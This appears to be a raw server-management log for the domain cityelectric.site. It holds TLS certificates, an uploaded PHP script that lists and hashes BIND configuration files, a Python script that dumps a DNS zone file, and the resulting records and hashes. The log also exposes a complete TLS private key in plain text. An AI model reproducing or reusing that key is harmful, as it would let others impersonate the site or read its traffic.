3SBpvW6CQvaaCxS6ZDZ0ppx5gocCAwEAAaOCAjcwggIzMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUlK86uiCYx811jJk7lXKO9ojfyTEwHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAxBgNVHREEKjAoghMqLmNpdHllbGVjdHJpYy5z
aXRlghFjaXR5ZWxlY3RyaWMuc2l0ZTATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNV
HR8EJzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iub3JnLzQ4LmNybDCCAQUG
CisGAQQB1nkCBAIEgfYEgfMA8QB2AA5XlLzzrqk+MxssmQez95Dfm8I9cTIl3SGp
JaxhxU4hAAABnEMGZAwAAAQDAEcwRQIhAO22X9hUPuojte3rzOQf7A3k7QInREUh
XXSIT7AjmuTyAiAuTCtuDnqbyy5z9MbSgkvjeC56NuKa/QyoLgQiiFrSVAB3ANFu
qaVoB35mNaA/N6XdvAOlPEESFNSIGPXpMbMjy5UEAAABnEMGZg0AAAQDAEgwRgIh
AJIuYGqh/+T8eOlicmpnzt0KGVfhNaVTz9TgSC36TlRsAiEA3P7Wj8c2PEEZPE2s
wqd38Gi8ZJLhEvjOXjtj6UPKEnMwDQYJKoZIhvcNAQELBQADggEBAF+FsyFR3fN4
ND0Wx3a9x8Ae2HNP4mikeN/U0COqr4VJgz0w8lrBRo1w3tSTdpEO+ptKWsFbqzpi
tIezL9HoZGNSBALEcPmeqIUcymMhyCICsS6D9NHuQGBQEJhlAFb8to3gNQorDPzw
3kyqEJRKqmnUF+mDYOAf0LJodVgeubCefYPsnwvK3qEtjM3hyDqQxGKsbz3tW++v
YSx3GPHsG17H72y94pg0JKDGCSVf+nBTLubmtrCGdZa6tQqrayNFH80CKB2gcU72
fFYQMsshKyssZdoyZWx5BIc4eNB/mdXuaMb4Iml7vorf0Hp+1i3MPQPXs7P0Af+P
bnLQsyBZJZg=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDBqId7vexeCBr/
h1wv7JdM6k+t3kKHyBrCi724eefJEPsgUSF4QdigXtR0xaAe0c7IDRZGoKlxuMLZ
UYL3STqOPXtOLZ5kqPAA3soUw7D3lcbFdsnxtz38SHLc67M7gVABB+MUpaia/A6X
ag1EJma2b+i9hqTyvYF0VmeSYmYN1q0PolJMdGB1OoT+7EDsrGpCSNLLRftjGUnE
l+Xfq6EM0wIf/H2r+2TSrxSsM4XXIVULITpv42z94nJ0JMlfUdVbDztZPNBStOQ0
mdPVL1yHqPD5x57Gdsj+XXONkykiCoGvJfqB6HTdn/RXsN0gab1ugkL2mgsUumQ2
dKaceYKHAgMBAAECggEAGm84mIhbG0DMUqS1ouhkL2sX15oXByAmSve2ki0NxHFC
yO1aKLywPGqFYgUsmgMLULJnSoUZbBJg1+JGWB6mVWPeENStoibkpUcZWuPqzvj3
v4eQrE6A3GQ/+EOyMlqwmDDClf8WOJr/G5BYjDzDrikwzKzJl5riRgZEsAN/fmmE
/yhdWlKLbe1h1BQTBALH97GGcXXDZ3I4SqnEClMT3GSKcWQtn3gZLEduodeqtj5L
IOQl75WTUuzqpxjojpgln4jcDHtbRvzcNFS/juopsVUCY6yYyKGqUSZSePYvs44G
W+lCytweAbAtc1e3CU5g39gYcMzptfNH3MZtmumZAQKBgQDqwxjozCMc+v+cyHXR
SLgUt3NrRbjDtNxuqJTz2nmyjPl8d0AYzjKlwR4OEEP8DD8mGyciUrs14F2qpqzJ
7yi43RaU8v6uG8soTNv3/dMT0J5RPMZW9uelK3ft+XHQCD8AJnsqioZk49G6Fu4o
/yIQWuN8y08X34a4+7CYYKwLAQKBgQDTLYBNWy0JhlSwKwmvbemy61RJbBE9WarI
6Z2rgF9E+teazwzYOICSL9cGVYyYNB3OGlOS7hUUAKvDgUP7ipnwzHtMCsDN5Skp
gaOBhvIxtk0c/jVfpFXJ8Ho6x+SuSSO4J8b8A3PMjQrqLtUOHoo88gP7rjVuEpmJ
B/GgVfi1hwKBgDHslXKEXv89vXgpBS0hiswVCz2H0TgFUU9TGIIXNwQqiK/YaFAe
IZUwUWTqPpruO8utwI/DCj713NV6poo3CvDtS20Xk+OQ045Zcfn2B5pSJijehMtf
rHlqmhGIl5SG/GbayByO4u+3pxUs5S7guuzBd1lFnydTiMHz/GUbQdsBAoGAOcqW
9RSBk7y2SmvMv7yVmwg5zcoMQbzbNxZvtrJv4AHBpTUKb9WuodMDxlD9I94HVhLw
UiJjlFDGsL8caqc4j6R2DY5Xy0DubdRzeYwDlcUs/0U2OBFSBOyRlqqDk4qigtAn
7WnIc+8ZUJM2bSHAdQNKQcMgDhp69/w7jMRaRtsCgYEAt08aZ6u3ge9gCWSySgLd
CcHU+ovfOaB6GzbUMHCXBnnw3wekKU/J/z0MuQJjwAjiwI062pq3NbNmom/M0M8j
L7Q2o0MW5DW95m1iGKYs1tgK2KJOyOI6qt2U3G7iBO4HbUDFhxQkXHFfkQLTOBj8
MFKeMjO96J4brHFyL/SHjIs=
-----END PRIVATE KEY-----




----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.chain.crt	1803
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-02-09 15:40:03: Establishing a remote connection
2026-02-09 15:40:08: Establishing a connection
2026-02-09 15:40:08: 

PUT: /tmp/pkp905064

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 15:40:08: 

runuser -l bind -s /bin/bash -c '/tmp/pkp905064; rm /tmp/pkp905064'

2026-02-09 15:40:09: 
2026-02-09 15:40:09: 

PUT: /tmp/pkp909319

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-09 15:40:09: 

chmod 755 /tmp/pkp909319; /tmp/pkp909319; rm /tmp/pkp909319

2026-02-09 15:40:09: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt	1102
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
cityelectric.site.       		 IN    SOA      	cityelectric.site. hostmaster.cityelectric.site. ( 134130200 14400 3600 14400 3600 )
@                        		 IN    NS       	ns1.hostz.org.
@                        		 IN    NS       	ns2.hostz.org.
@                        		 IN    A        	10.140.12.84
_acme-challenge           60	 IN    TXT      	"2d91YPguzluZPnvd4sCT2Ooz7nzE1mikd-8-MTWG9Q8"
_acme-challenge           60	 IN    TXT      	"q1IqJdRmYTTVWGws1-YFUJGZ9Wcs48TCdksCgndVLcw"
mail._domainkey          		 IN    TXT      	"v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxwxDyzsjHawWZqIzW4CXIinwR6ffikvpe/tIL/OsHMXeQKpqSYzL1ejRz6B9+PYCLGL1jXiVzY1L0TSDYxFi1URCUXLPKT479DYm+MQeJw4AS5da0Lozr72vS1TwUHBn5ikA4KpeLsDPY4rS3SYltt2ssUJvf5c2EJ5eSD9PVvFbeFGP9ln+4JqBmTGY" "apVA4mXPsup3VNE1eZFqDX35qi5ldDcqKbImY8+HpVguvG/vEp9XJCqRgspMrIm3wz9Gk5Umnjf24hrxMPYZXWRdYclwD7yVNb9Ma0+SstHVWWzJUsB8uibtClqCu2yqV3No3PKkTimCYAv56N8QbiR4KQIDAQAB"
www                      		 IN    CNAME    	dq-dev0f.ces-us.net






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
